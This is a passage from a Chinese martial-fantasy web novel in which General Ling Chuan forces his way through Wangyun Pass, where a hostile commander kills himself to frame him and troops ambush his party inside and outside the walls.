“野火再猛,终有燃尽之时。因为它烧掉的是表象,是浮华,却烧不毁深埋的根,更烧不化厚重的土。待春风化雨,那些被烈火灼伤的土地上,新芽会再次破土,甚至因灰烬的滋养而更加茂盛。此乃天地生生不息之理。” “历史的长河永远向前流淌……”凌川的声音平静而有力,“多少奸佞之辈曾显赫一时,最终却只落得遗臭万年。而那些心怀天下的英雄,即便生前蒙冤,后世也必会还他们清白。这就是正义的力量,它跨越时空,永存人心!” 洛青云听着这番话,只觉得胸中热血沸腾。他望着凌川坚毅的侧脸,仿佛看到了一面永远不倒的旗帜。 凌川最后沉声说道:“所以我们更要坚持本心,不是因为看到希望才坚持,而是因为坚持了,才能看到希望。只要心中的正义不灭,这世间就永远有光明存在!” 这番话在寂静的官道上回荡,不仅传入了洛青云耳中,也让周围的将士们不自觉地挺直了腰杆。 第一卷 第412章 望云关 未时正刻,日头偏西,凌川的队伍终于抵达了望云关下。 那巍峨险峻的城关,宛如一头匍匐在雍州大地上的远古巨兽,以其庞大的躯体,死死扼守着南北咽喉。 高耸的城墙在阳光下泛着冷硬的森然光泽,垛口如巨兽的獠牙,森然林立,透着一股不容侵犯的凛然气势。 “将军!”洛青云策马贴近,声音压得极低,带着显而易见的担忧,“那萧卫蘅虽是靠着其岳父的权势一路擢升,但其自身却绝非酒囊饭袋。此人无论是兵法韬略还是个人勇武,都堪称出色,否则,也不可能在精英云集的神都禁军中脱颖而出,担任都尉一职!” “属下与他共事时,便知他手段狠辣!”他顿了顿,补充道:“我也是事后才探查到,当年那场刺杀,萧卫蘅胸口中那一箭,伤口与禁军所用箭镞一致!” 凌川点了点头,若真如洛青云所说,此人自编自演受伤,要么是为了减轻责罚,但还有另外一种可能,不过没有凭据,凌川也不好妄加猜测。 目光沉静地扫视着城墙上的垛口,淡淡问道:“若论个人实力,他与你相比如何?” 洛青云坦诚道:“伯仲之间!” 此时,城门依旧紧闭。 这个时辰,绝非正常关闭城门的时间,唯一的解释,便是对方早已得知他们的行程,刻意在此刁难。 洛青云深吸一口气,压下心中翻涌的旧日恩怨,策马上前几步,朝着城头朗声喝道:“镇北将军凌川,奉旨回神都受封,途经望云关,请开城放行!” 声音在空旷的关前回荡,然而,城墙之上却是一片死寂,不仅无人应答,甚至都看不到一个人影。 如此重要的军事关隘,绝不可能空无一人。 洛青云心知对方是故意晾着他们,连续又高喊了数遍,声音一次比一次洪亮。 终于,在他几乎要失去耐心时,城墙垛口后慢悠悠地转出几道身影。 为首一人,身着校尉轻甲,脸上挂着毫不掩饰的讥诮笑容,居高临下地望来。 “哟!我当是谁呢,原来是洛都统啊!失敬失敬……”那人拖长了语调,嘴上说着失敬,语气中的轻蔑与嘲讽却显露无疑。 洛青云认得此人,名叫宋集,当年在禁军中便是萧卫蘅最忠实的爪牙,没想到萧卫蘅执掌望云关,将这位跟班也一并带了过来。 他强压着胸腔内几乎要喷薄而出的怒火,再次重复道:“宋集!我家将军奉旨回神都,速开城门!” 城墙之上,宋集却故意侧着身子,用手拢在耳边,做倾听状,夸张地喊道:“啊?洛都统,你说什么?风太大,属下听~不~见~啊!” 这副无赖嘴脸,彻底点燃了洛青云压抑的怒火。 他不再客气,将满腔愤懑与精纯真气融为一体,骤然爆发出一声雷霆般的怒吼:“我让你~开~门!” 这一声吼,宛若滚滚惊雷,炸响在关前。 音浪滚滚,不仅城墙上宋集几人被震得耳膜嗡嗡作响,头晕目眩,仿佛那声音就在耳边炸开,连一里之外恐怕都能听得清清楚楚。 宋集脸上的戏谑表情瞬间被惊怒取代,他指着城下,厉声喝道:“洛青云!你真当自己还是那个威风凛凛的禁军都尉吗?如今的你,不过是北疆死字营里一个戴罪立功的军奴!也敢在望云关前大呼小叫,信不信老子现在就叫弓箭手把你射成马蜂窝!” 他话音未落,异变陡生! 只听见一道尖锐的破空之音响起,一道乌黑的流光自城下的队伍中疾射而出,速度之快,远超常人目力所及。 “哐当!” 一声脆响,宋集只觉得头顶一凉,一股巨大的力量猛地将他头上的兜鍪带飞,那顶精铁打造的头盔也随之脱落,重重砸落在城墙的青砖上,发出令人心悸的响声。 箭矢精准地射穿了兜鍪的缨穗根部,而非他的头颅,但这毫厘之间的死亡威胁,让宋集瞬间僵在原地,脸色煞白如纸,冷汗顷刻间湿透了内衫。 他能清晰地感觉到,那冰冷的死亡气息刚刚就擦着他的头皮飞过。他身旁那几名士兵更是吓得魂飞魄散,双腿发软,连大气都不敢喘。 死寂瞬间笼罩全场。 片刻之后,宋集才从极致的恐惧中缓过神来,一股被羞辱和后怕交织的怒火直冲头顶。 “你……你们好大的胆子!竟敢对守关将领放箭,这是想造反吗?”宋集扒着垛口,声音因为恐惧和愤怒而微微变形。 不等洛青云说话,端坐于马背之上的凌川却率先开口:“我给你一炷香的时间,如果再不开门,后果自负!” 他声音不大,却清晰传入城墙上的宋集以及那几名士兵的耳朵里。 宋集定睛一看,已经大致猜到了凌川的身份,倒也没敢出言嘲讽,而是一本正经地说道:“萧将军有令,最近望云关外常有马贼出没,为保护关内百姓安全,未时关闭城门,任何人不得违令!” 说到此处,他眼中闪过一丝难以掩饰的得意冷笑,语气也变得轻慢起来:“所以,诸位还是请回吧,若要入关,明日请早!” 说完,他像是生怕凌川再有什么动作,不敢再多停留,带着那几名惊魂未定的士兵,迅速消失在垛口之后。 城墙之上,再次恢复了那种诡异的寂静,不见半个人影。 显然,这萧卫蘅是铁了心要把自己拦在这望云关外,就算他们真的等到明日,估计对方还会以其他理由阻拦。 所谓的马贼,不过是个连粉饰都嫌蹩脚的借口。 凌川深知,在这种刻意制造的僵局面前,所有的忍让与退步,只会被对方视为懦弱与可欺,进而变本加厉。 他嘴角缓缓勾起一抹冰冷的弧度,那弧度中不含丝毫笑意,他侧过头,目光扫过身旁始终静默相伴的沈七岁与一禅和尚。 凌川的声音很轻,却带着一种破釜沉舟的意味,“两位,可敢随我闯一闯这望云关?” 沈七岁闻言,脸上那惯有的玩世不恭的笑容愈发灿烂,笑道:“将军说哪里话?小爷我既然接了这趟差事,自然是将军到哪里,我便奉陪到哪里,区区望云关何足道哉!” 一旁的小和尚一禅,则是双手合十,目光清澈而坚定,“下山之前,师父便交代,此行一切,但凭凌将军差遣!” 第一卷 第413章 强闯入关 其实,凌川至今仍想不明白,超然物外的蜀山剑宗与空观寺,为何会在他奉诏回神都这个微妙时刻,主动派出门下如此出色的弟子前来相助。 这两大势力,素来超然于朝堂纷争之外,此次破例,绝非寻常。 即便名义上是保护,但这背后所代表的立场与态度,已足以在波谲云诡的神都掀起波澜,让许多嗅觉敏锐的势力重新评估风向。 别的不说,单是这二人的身份,就足以震慑绝大部分江湖势力,让许多心怀鬼胎的宵小之徒不敢冒头。 听闻凌川竟真要强闯望云关,亲卫队长苍蝇等人顿时面露急色,连忙上前劝阻:“将军!关内情况不明,那萧卫蘅摆明了是敌非友,强闯太危险了!” 凌川则是淡淡一笑,说道:“我死在哪里都可以,唯独不能死在望云关内!” 苍蝇目光一闪,瞬间明白了凌川的意思。 凌川是陛下亲封的镇北将军,此行是奉旨回神都,若他在这望云关出了意外,无论萧卫蘅有何等后台,都绝对无法向陛下、向天下人交代!这本身,就是一层无形的护身符。 然而,明白归明白,他依然觉得此举过于凶险,谁能保证对方不会狗急跳墙? “将军……”他还想再劝。 凌川却已抬手,打断了他的话,语气斩钉截铁地说道:“你们原地待命,没有我的命令,任何人不得轻举妄动!” 言毕,他不再犹豫,一夹马腹,座下照雪迈着沉稳的步伐,朝着城下行去,沈七岁与一禅和尚对视一眼,毫不犹豫地策动坐骑,一左一右,紧随其后。 三骑,面对雄关,义无反顾。 来至城墙根下,仰望着近乎垂直、高达十丈的坚固墙体,凌川侧头看向身旁两位年轻的高手,直接问道:“这高度,你们能上去吗?” 沈七岁抱臂点头,神态轻松,一禅和尚亦双掌合十,平静颔首,表示无碍。 凌川见状,心中不由得泛起一丝无奈的苦笑。 他自己的修为虽日益精进,但若仅凭自身轻功,不借助外力,想要徒手攀上这光滑陡峭的十丈高墙,确是力有未逮。 沈七岁心思剔透,似乎一眼看穿了他瞬间的窘迫,洒然一笑道:“将军无需担心,我送你上去!” 话音未落,他反手一拍背负的剑匣。 “铮——!” 只听一声清越剑鸣,匣中六柄形制古朴的长剑应声激射而出,它们并非杂乱无章,而是在沈七岁的气机牵引下,高低错落,整齐划一地排成一条直线,剑尖闪烁着寒光,径直射向坚硬的墙砖缝隙。 “叮叮叮!” 伴随一连串密集而轻微的闷响,六把长剑已宛如一道凭空出现的天梯,精准无比地深深钉入砖缝之中,剑身因巨大的冲击力而微微颤动着,剑鸣声响彻关前。 沈七岁伸手向前:“将军,请吧!” 凌川知道对方是让自己以这六把剑作为借力的阶梯,他点了点头,随即体内真气急速流转,猛地自马背上一跃而起,身形如鹞鹰般扑向那冰冷的城墙。 近段时间,凌川确实曾向沈七岁等人请教过轻功窍门。 所谓轻功,本质是身法灵巧的极致延伸,而武修者最大的不同,在于能运转体内真气,在瞬间使身体变得轻盈,协调自身力量的爆发。 故而高手往往只需脚尖在借力点上轻轻一触,便能腾挪起落数丈之远。 这同样属于当初杨铁匠所说的‘内练一口气’范畴,只是对真气的精微控制与应用方式更为讲究。 第一把剑的位置距离地面约一丈有余,凌川提气纵身,几乎没怎么费力,手臂一伸,便稳稳抓住了冰冷的剑柄。 就在抓住剑柄的刹那,凌川腰腹核心猛然收紧,利用剑身的弹性与自身下坠之势,瞬间完成换气。 紧接着,他手臂发力,身形借助反弹之力再次向上疾窜,精准地抓住了上方第二把剑的剑柄。 如此往复,身形沿着剑梯节节攀升。 沈七岁布置的这六把剑,彼此间隔均在一丈多,均匀分布在近十丈高的垂直墙面上,计算得极为精准。 然而,就在凌川的手堪堪抓住第四把剑,身形悬在半空之时,异变陡生! “嘎吱……” 头顶上方清晰地传来弓弦被拉动的紧绷声响,凌川心头一凛,猛然抬头。 只见一名士兵正从垛口后探出身子,手中强弓已被拉成满月,泛着幽冷寒光的箭镞,正居高临下,死死锁定了他。 “咻!” 千钧一发之际,一道更为尖锐猛烈的破空声自城下袭来,几乎是声音响起的刹那之间,那名张弓的士兵面门便被一支势大力沉的铁箭狠狠贯穿。 他甚至来不及发出一声惨叫,巨大的冲击力带着他仰面栽倒,手中失去控制的弓弦一松,那支箭歪斜着射向了天空。 凌川没有回头,但他知道,是聂星寒出手了,他不敢有丝毫耽搁,强提一口真气,借助长剑的反弹之力,身形再次向上疾窜,朝着第五把剑扑去。 城下的沈七岁也察觉到了城墙上的杀机,对身边的小和尚急声道:“二驴!别愣着了,快去护着将军!” 一禅和尚点了点头,那双清澈的眼眸中瞬间闪过一丝精光。 他低喝一声,脚下土地微陷,整个人如离弦之箭般悍然扑向城墙。 接下来,城上城下众人便看到了令他们瞠目结舌的一幕,只见小和尚一脚蹬在那近乎笔直光滑的城墙墙面之上,身体借力向上跃起。 然而,更让人难以置信的是,他的身体并未像常人那样被反弹开,那双脚仿佛在垂直的墙面上生了根。 他就这样,一步一步,如同行走在平坦大道上,沿着垂直的城墙稳步向上。 小和尚的速度看似并不迅疾,但每一步踏下,沉稳有力,那坚硬的墙砖之上,竟随之留下一个清晰可见的脚印。 “砰!砰!砰!” 那脚步沉重如同寺庙的晨钟,一声声震撼人心,连正在攀爬的凌川,都能清晰地感受到手中长剑传来的轻微震动。 第一卷 第414章 投鼠忌器 就在凌川的手抓住最后一把剑,奋力向墙垛攀去之时,城墙之上传来一声凶狠的呼喝。 “有人闯关!杀!” 紧接着,密集而杂乱的脚步声如同潮水般涌来,大批手持明晃晃战刀和弓箭的守军,从两侧垛口的通道内涌出,朝着凌川这边杀过来! “阿弥陀佛!” 一声嘹亮恢宏、蕴含着沛然正气的佛号,如同春雷般在城墙顶端炸响,率先登顶的小和尚一禅,已然如同一尊护法金刚,稳稳地挡在了凌川前方。 他那单薄的身躯,此刻却仿佛筑起了一道无形的墙壁。 凌川趁此良机,猛提真气、手臂发力,一个利落的翻身,终于稳稳地落在了城墙顶端的走道之上。 见到将军成功登顶,城下一直紧绷心弦、屏息凝神的苍蝇与洛青云等人,这才长长地舒出了一口气。 沈七岁见二人均已成功登城,顿时长啸一声:“小爷来也!” 身形翩然跃起,宛如一只舒展双翼的灵鹤,姿态说不出的潇洒飘逸。 只见他脚尖在剑柄末端轻轻一点,借力再次拔高,而被他点中的那柄长剑,在一阵急促的颤鸣之后,‘唰’的一声从墙砖缝隙中自行脱落,但并未坠落地面,而是如同拥有生命般,化作一道流光,追随着沈七岁上升的身影,向上飞去。 他就这样,足尖在依次弹出的剑柄上连环轻点,身形节节攀升,动作行云流水,比之凌川方才的艰辛,不知轻松惬意了多少。 不过几个呼吸间,沈七岁已如一片羽毛般,轻飘飘地落在了城墙垛口之上,衣袂飘飞,卓然不群。 而那六把长剑,则如同忠诚的护卫,发出清越连绵的铮铮颤鸣,环绕悬浮于他头顶上空,剑尖吞吐着若有若无的寒芒,直指前方越来越多的守军,森然剑气,弥漫开来。 “放箭!” 伴随着宋集一声暴喝,前方严阵以待的士兵们纷纷搭箭引弦,霎时间,一片密集的弓弦震响,数十支利箭如同飞蝗般,带着凄厉的破空声,朝着凌川三人笼罩而来。 “嗡……” 就在箭雨即将临体的刹那,一直静立的一禅小和尚骤然双手合十,口中沉声低唱。 顿时,一道柔和而坚韧的金色光幕以他为中心瞬间扩散开来,宛如一口倒扣的金钟,将凌川、沈七岁与他自身稳稳笼罩其中。 箭矢撞击在光幕之上,发出叮叮当当的脆响,却无法穿透分毫,尽数被弹开,无力地坠落在地。 宋集见状,瞳孔猛然收缩,脸上闪过一丝难以置信的惊骇。 但他反应极快,立刻强作镇定,色厉内荏地厉声喝道:“大胆狂徒!竟敢擅闯城关重地,真当这望云关是你家后院,想来就来吗?” 话音未落,他猛地一挥手,只见前列士兵迅速向两侧分开,露出了后方一架体型庞大、通体漆黑的床弩。 那粗如儿臂的弩箭,寒光闪闪的箭镞足足有七支,已然上弦完毕,如同巨兽的獠牙,死死锁定了几人所在的方位。 那恐怖的威慑力,远非寻常弓矢可比。 一禅小和尚面色微变,低声道:“将军,这玩意,小僧挡不住!” 连六重境的一禅和尚施展佛门术法金钟罩,都挡不住这床弩,由此可见其杀伤力有多恐怖,看来,杨铁匠所言非虚,就算是宗师境高手,也做不到在万军中来去自如。 然而,凌川的神色却是出奇的平静,即便被那足以摧毁一切的致命杀器指着,他的眼神中也寻不到半分畏惧。 只见他缓步走到前方,猛然抬手举起那块御赐令牌,喝道:“我乃陛下钦封的镇北将军,你们要是不怕被灭族,大可放箭!” 此言一出,宛如惊雷炸响,原本肃杀的气氛为之一滞。 全场瞬间陷入一片死寂,落针可闻,那些原本杀气腾腾的士兵们,脸上纷纷露出惊疑与浓烈的忌惮之色,手中的弓箭也不自觉地垂低了几分。 显然,他们之前接到的命令,仅仅是诛杀闯关恶徒,并不知道凌川的身份。 宋集的脸色瞬间变得铁青无比,嘴唇微微颤抖。 此前,他尚可装作不知对方身份,即便真将凌川射杀,事后也可推脱是不知其身份误杀,最多推出几个替罪羊了事。 毕竟对方强闯关隘在先,他们占着理字。 可现在,对方竟直接将这御赐令牌亮了出来,他宋集就算有一百个胆子,也不敢在众目睽睽之下,下令对持有御赐令牌的将军动手。 眼见对方气势被夺,投鼠忌器,身后的沈七岁与一禅和尚也暗自松了一口气。 若对方刚才真的不顾一切发射床弩,他二人或可凭借超凡身法险险避开,但想要在那种毁灭性的打击下护凌川周全,难度无疑倍增。 “怎么?”凌川目光如炬,紧紧盯着脸色变幻不定的宋集,语气森然,“宋校尉,可是要上前来,仔细辨认一下这御赐令牌的真伪?” 宋集浑身一颤,仿佛被毒蝎蜇了一下,连忙单膝跪地,抱拳行礼,惶恐道:“不敢!属下望云关校尉宋集,参见镇北将军!” 其他人见校尉都下跪了,他们更不敢怠慢,纷纷放下手中兵器,哗啦啦跪倒一片。 “现在,可以开门放行了吗?”凌川收起令牌,沉声问道。 宋集抬起头,脸上挤出一丝为难之色,垂首道:“将军恕罪!关闭城门,乃是萧将军亲自下达的军令,未有他的手令,属下……实在不敢擅自做主啊!” 尽管心知这是对方的推托之词,凌川也明白,事情的关键还得是萧卫蘅,要解决问题,必须直面此人。 “带我去见萧卫蘅!”凌川不再与他废话,命令道。 “是!将军请随末将来!”宋集如蒙大赦,连忙起身,躬身在前引路。 走下城墙,进入关城内,沈七岁与一禅和尚一左一右,紧跟在凌川身后,目光警惕地扫视着四周。 关内营房林立,旌旗招展,气氛远比城外更加肃穆,也潜藏着更多未知的危险。 来到将军府邸,宋集并未引他们走正门,而是绕至侧门而入,穿过一条回廊,来到一处清幽却透着几分压抑的后院。 宋集在院门口停下脚步,躬身向内通报,语气恭敬:“启禀将军,凌将军到了!” 第一卷 第415章 萧卫蘅 “请凌将军进来吧!”一道懒洋洋,却带着几分阴柔磁性的声音自院内悠悠传来。 凌川示意沈七岁与一禅在外等候,自己则整了整衣袍,迈步踏入院中。 院内布局错落有致。 只见一名年约三十、面容颇为俊朗的男子端坐于石桌之前。他身着常服,眉宇间自带几分阴柔之气,一双眸子看似漫不经心,但偶尔开阖间,却有精芒与寒意一闪而逝,缺少了几分沙场将领应有的刚猛霸烈。 他面前的石桌上,摆放着一张棋盘,上面黑白棋子星罗棋布,纠缠激烈,显然他正独自对弈,沉浸其中。 见凌川进来,萧卫蘅并未起身相迎,甚至未曾转头看他一眼,目光始终流连于棋盘之上,仿佛那方寸之地才是他的整个世界。 “久闻凌将军运筹帷幄,用兵如神!”萧卫蘅的声音淡漠疏离,可凌川却能清晰地感受到那话语深处隐藏的冰冷敌意,“却不知,能否在这十九道纹枰之上,也让萧某领略一番将军的风采?” 凌川面无表情,径直走到他对面坐下,强压下心头的不悦,开门见山道:“萧将军,凌某乃一介粗人,不谙此道。况且,我麾下将士尚在关外风餐露宿,亟待入关。还请将军行个方便,即刻下令开门放行!” 萧卫蘅闻言,嘴角勾起一抹几不可察的冷笑,缓缓将指尖一枚黑子落入棋盘某处,发出清脆的敲击声。 “凌将军亦是统兵之人,难道不知‘军令如山’的道理?”他头也不抬,语气带着一丝嘲讽,“命令既已下达,包括本将在内,所有人都必须严格遵守。凌将军,还是请耐心等到明日再过关吧!” “萧将军这是执意要刁难凌某了?”凌川目光渐冷,语气也沉了下来。 终于,萧卫蘅缓缓抬起了头,那双狭长的眼眸直视凌川,嘴角那抹冷笑变得愈发明显和刺骨。 “对!”他毫不掩饰,声音带着一种戏谑的恶意,“我就是刻意刁难,你,又能把我怎么样呢?” 他好整以暇地从手边的白玉棋篓中,轻轻执起一枚温润的白子,在指尖灵活地把玩翻转,目光却如同毒蛇般紧紧缠绕着凌川。 “凌川,我等你……已经等了很久了!”他顿了顿,每一个字都仿佛带着冰冷的重量,“自从我知道,是你杀了章绩那天开始,我便一直在这里,等着你到来!” 此言一出,凌川脸色骤然一变。 内心那股一直萦绕的不安感,此刻如同被点燃的野火,瞬间席卷全身,带来一阵冰冷的战栗。 他震惊的,并非对方知晓章绩死于他手,当日他调动大量人马截杀,虽有廷尉府事后遮掩,但若真有心追查,并非无迹可寻。 真正让他心头巨震的是,萧卫蘅竟然与章绩是一伙的! 章绩身为血衣堂高层的身份早已确凿,而萧卫蘅,这位堂堂望云关守将,内阁首辅的女婿,竟与他同流合污…… 这背后的牵连,细思极恐。 章绩的岳父是户部尚书,萧卫蘅的岳父是内阁首辅……难道这两位朝廷重臣,也与那神秘的血衣堂,有着千丝万缕的联系? 就在凌川心思紊乱、千头万绪交织之际,一直沉默不语的萧卫蘅竟缓缓起身。 他动作从容得近乎诡异,右手不紧不慢地探向腰间,伴随着刀刃摩擦鞘匣的轻响,一柄寒光凛冽的匕首已握在手中。 凌川目光骤然收缩,几乎是本能反应,唰的一声长刀已然出鞘,淡金色刀锋直指对方。 然而,接下来发生的一幕,却完全超出了凌川的预料,让他如遭雷击,当场僵立。 只见萧卫蘅脸上浮现出一抹混合着讥诮与疯狂的诡异笑容,那双阴冷的眸子死死锁定凌川。 下一刻,他竟毫不犹豫地调转刀尖,朝着自己的心口猛力刺下。 “嗤!” 利刃穿透血肉的声音在显得格外清晰刺耳,鲜血瞬间从他指缝间汩汩涌出,染红了胸前的衣襟。 可萧卫蘅仿佛感觉不到丝毫痛楚,脸上那抹扭曲的笑容越发深刻,嘴角不断溢出暗红的血液,衬得他面色如鬼魅般惨白。 他死死盯着凌川,目光如毒蛇的信子,一字一句从齿缝间挤出:“我……在下面……等着你!” 话音未落,他竟疯狂地转动没入胸膛的匕首,发出一声凄厉至极的惨叫,随即轰然倒地,身体剧烈地抽搐了几下,便再也不动弹。 这突如其来的变故让凌川脑中一片空白。 他甚至能清晰地感受到匕首刺入胸腔时那细微的震动,能看到萧卫蘅眼中最后一刻那近乎癫狂的决绝。 这一切发生得太快,太违背常理,直到对方倒地气绝,凌川才猛然惊醒…… 这根本就是一个精心布置的死局,而他,正一步步踏入这个萧卫蘅以生命为代价的陷阱。 就在这时,听到动静的沈七岁与一禅和尚疾冲而入。 眼前的景象让二人同时倒吸一口冷气,凌川持刀而立,刀锋雪亮,而萧卫蘅已倒在血泊之中,胸口插着那柄致命的匕首。 沈七岁目光如电,迅速扫过现场。 他敏锐地注意到凌川双手滴血未沾,而那柄匕首的样式也绝非凌川之物。 显然,人不是凌川杀的! 一禅微微颔口,双掌合十,眼中闪过一丝悲悯。 就在这电光火石之间,凌川猛然醒悟。 相比以往与血衣堂的交锋,这一次他才真正见识到这个组织的可怕,连萧卫蘅这等手握重兵、镇守京畿要冲的将领,都能毫不犹豫地当做弃子。 这份狠辣,这份决绝,远超出他之前对血衣堂的认知。 “快走!” 凌川当机立断,声音急促而低沉,他深知这是一个陷阱,而危险正在悄然袭来,必须尽快离开这个是非之地。 就在此时,外面传来急促的脚步声,以及兵甲碰撞的声音。 三人毫不犹豫,身形一闪便朝着并不算高的围墙疾掠而去。 就在他们刚刚跃下墙头的瞬间,身后已传来杂沓的脚步声和惊惶的呼喊: “将军!将军!” “萧将军遇刺了!” 这呼喊声如同投入油锅的火星,瞬间点燃了整个军营。 第一卷 第416章 深陷杀局 三人一路狂奔,穿过长廊来到大门外,然而,映入眼帘的是一片森然铁甲,上千名士兵身披铠甲,手持刀枪,将他们重重包围。 “凌川!”一名身着校尉铠甲的男子排众而出,手中长枪直指凌川,声音因愤怒而颤抖,“你擅闯城关重地,我等尚未追究,竟敢刺杀萧将军!今日就算你是陛下亲封的镇北将军,也休想活着离开!” “杀了他!为萧将军报仇!” “大不了我等以死抵命,也绝不让这恶徒逍遥法外!” 愤怒的呼喊声此起彼伏,无数道仇恨的目光如利箭般射向凌川。 凌川目光如电,扫过全场,沉声喝道:“我没有杀他。” “铁证如山,你还想狡辩!”那名校尉怒极反笑,“院中只有你与萧将军二人,除了你,还能是谁?” 凌川心中冷笑,他当然知道真相,或许,这名亲兵校尉比自己更清楚,可就算让他当众说萧卫蘅是自杀,在这些已经被愤怒冲昏头脑的士兵听来,无异于天方夜谭。 此刻,任何解释都是徒劳。 他深吸一口气,转向身旁的沈七岁和一禅,低声道:“两位,情况危急,我们分头突围吧!” 沈七岁也收起了平日里的玩世不恭,此刻面对这大军包围,心里多少有些发怵。但他还是强自镇定,扯出一个勉强的笑容:“丢下同伴独自逃命,可不是蜀山剑宗的作风!” 一禅没有说话,只是默默上前一步,单薄的身躯坚定地挡在凌川身前,双掌合十,周身隐隐有佛光流转。 这个举动已经表明了他的态度。 凌川心中涌过一阵暖流,他明白,这两人是绝不会独自离去的。 他握紧手中战刀,眼中迸发出决然的光芒,“那我们就一起杀出去!” 几乎在他话音落下的同时,那名亲兵校尉已经挥枪怒喝:“放箭!杀了他们!” 霎时间,箭雨如蝗,破空之声不绝于耳。 一禅和尚早有准备,双掌翻飞间,一道淡金色的光幕骤然展开,将密集的箭矢尽数挡下,箭矢撞击在光幕上,发出雨打芭蕉般的噼啪声响。 沈七岁也不敢怠慢,双手结印,六把飞剑应声而出,在空中划出绚丽的轨迹,如游龙般杀向敌阵。 剑光过处,血花飞溅,顿时在严密的军阵中撕开一道缺口。 凌川抓住这转瞬即逝的机会,猛然运转真气,将自身速度提到极致,十余步的距离在他脚下仿佛不存在般,眨眼间已突入敌阵。 刀光乍现,如匹练横空,最前方的数名士兵应声倒地。 “受死!” 那名校尉见凌川来势凶猛,大喝一声,长枪如毒蛇出洞,带着凌厉的破空声直刺凌川心口。 这一枪势大力沉,显然是想要一击毙命。 凌川临危不乱,在枪尖及体的瞬间猛然侧身,险之又险地避开这致命一击,同时左手如电探出,精准地抓住了枪杆。 那亲兵校尉反应极快,立即双手握枪,沉腰发力,竟将凌川整个人挑了起来。 就在此时,凌川手中战刀划出一道完美的弧线。 刀锋过处,校尉颈部的顿项如纸糊般被切开,一道血线悄然浮现。 校尉的瞳孔猛然放大,视野被一片猩红笼罩。 他想要说什么,却只能发出嗬嗬的怪声,随即头颅一歪,身体分离,掉落在地。 凌川看也不看倒地的校尉,因为更多的刀枪已经如潮水般涌来,他不及细想,战刀再次横扫,伴随着一连串刺耳的金铁交鸣声,数把迎面劈来的战刀应声而断。 就在此时,数道流光破空而至,沈七岁的飞剑及时杀到,精准地穿透了那几名士兵的咽喉。 血雾喷涌,为这惨烈的战场再添几分血腥。 紧接着,浑身金光流转的一禅和尚如怒目金刚般猛然前冲。 他步伐沉稳,周身佛光凝若实质,所过之处,士兵们如撞上一堵无形气墙,纷纷被震飞出去。 有人明明离他尚有数尺,却被那股磅礴气劲掀得倒飞,甲胄碰撞声、痛呼哀嚎声顿时响成一片。 三人默契无间,趁势发力,硬生生在这铁桶般的包围圈中撕开一道血路。 “走!” 凌川一声轻吒,战刀横扫逼退两名扑来的士兵,三人身形如电,从那缺口疾掠而出,朝着城墙方向夺路狂奔。 然而,沿途街巷中,不断有披甲执兵的士兵从不同方向涌出。 他们显然已接到死命令,见到凌川等人根本不多言语,直接张弓便射,或挺枪扑杀。 凌川心头一凛,意识到原路返回已无可能,城头必然重兵云集,在那种狭窄险地,他们纵有通天之能也难以脱身。 “走这边!”他当机立断,朝沈七岁与一禅高喊,带着二人果断转向,钻入那片密集的军营。 此前攀登城墙为求轻便,凌川未着甲,自身防御大打折扣。 这片建筑乃是军营所在地,此时大军出动,军营反而空虚,密集建筑既能有效规避大军围剿,又能限制大量敌军涌入。 然而巷子中同样危机四伏,零散士兵不时从暗处杀出,四面八方传来的脚步声与甲胄铿锵声越来越近,如一张正在收紧的罗网。 他们必须尽快离开,否则一旦被彻底合围,便是插翅难飞。 与此同时,城外变故陡生。 聂星寒最先察觉异动,只见大批装束杂乱、兵器各异的身影从后方丘陵间涌现,乍看竟像一群乌合之众的马贼。 “结阵!御敌!”聂星寒厉声高喝。 洛青云与苍蝇反应极速,麾下士兵虽惊不乱,迅速依托马车组成防御阵型。 这些久经沙场的精锐,军纪严明,动作迅捷,在马贼冲至前已列阵完毕。 翠花也迅速拔出那对沉重的环首大刀,壮硕身躯如山岳般护在马车前,目光警惕地环视四周,宛如一尊蓄势待发的女金刚。 苍蝇面色冷峻,目光锐利如刀。 他心知肚明,这股敌人绝非马贼,但凡有点脑子的人都清楚,哪有马贼敢在万军镇守的望云关前撒野? 待对方冲入两百步射程,苍蝇毫不犹豫,挥刀下令:“放箭!” 亲兵队应声而动,箭雨倾泻而出。 第一卷 第417章 天罗地网 冲在前排的马贼如割麦般倒下,但后方人马竟无丝毫退缩,反而更加疯狂地催马前冲,口中发出不似人声的嚎叫。 箭矢破空如飞蝗,亲兵们分成两排交替放箭,将搭箭拉弦这个仅有的空档都弥补。 冲锋的马贼不断倒地,但在这种亡命冲击下,敌骑仍悍然逼近至百步之内。 就在亲兵箭壶将罄之际,后方洛青云的三百余骑已列阵完毕。 “杀!” 一声暴喝炸响,洛青云一马当先,率骑兵如离弦之箭悍然出击。 马贼队伍先遭箭雨洗礼,此刻面对精锐骑兵的冲锋更是无力抵挡,双方甫一接触,马贼阵型瞬间土崩瓦解。 锋利长枪无情洞穿敌人的身体,战刀挥砍带起蓬蓬血雨,不过片刻,这支数百人的马贼已被杀戮殆尽。 然而令人心悸的是,这些马贼即便身负重伤、深陷重围,也无一人求饶投降,反而个个面目狰狞,以近乎癫狂的姿态扑向骑兵,仿佛主动求死。 这份异样的决绝,让久经战阵的将士们也为之震撼,他们见过悍不畏死的冲锋,见过同归于尽的壮烈,却从未见过如此坦然、甚至迫不及待地赴死。 这诡异景象让洛青云与苍蝇等人心为之一沉,一个不好的念头涌入脑海之中,城内定然出事了! 未等他们理清思绪,远处再次传来沉闷如雷的马蹄声。 这一次声势更为浩大,且从多个方向同时传来,显然是要形成合围之势。 “列阵!御敌!”聂星寒再次高喊,声音已带嘶哑。 苍蝇当机立断:“收集铁箭,能收多少算多少,三十息内必须归位!” 亲兵们迅捷行动,趁这短暂间隙飞奔而出,回收尚能使用的箭矢,洛青云则快速收拢骑兵,以马车为核心结成圆阵。 “翠花,将军回来了吗?”马车内传来苏璃急切的声音,带着难以掩饰的颤抖。 翠花紧握双刀,满脸焦灼:“夫人,情况不明,您快启动马车机关吧!” 苏璃忧心如焚,却未听从,反而掀开车帘,对一直沉默守在车旁的杨铁匠哀声求道:“杨师傅,求您进城去,帮帮我相公!” 杨铁匠面色凝重如山,缓缓摇头:“苏丫头,非是老夫不愿出手!”他抬起深沉的目光,看向那座巍峨城楼,“暗中有个家伙一直盯着我,我若动,他必动!” 此言如冰水浇头,苏璃脸色瞬间惨白。 显然,对方早已布下天罗地网,就等他们自己撞进来。 虽不知城内具体情况,但她可以肯定,此时的凌川正面临危险。 “苏丫头!”杨铁匠沉声安慰,“那小子机变百出,望云关未必困得住他!更何况身边那俩小家伙皆非庸手,你莫要太过忧心,先护好自己周全!” 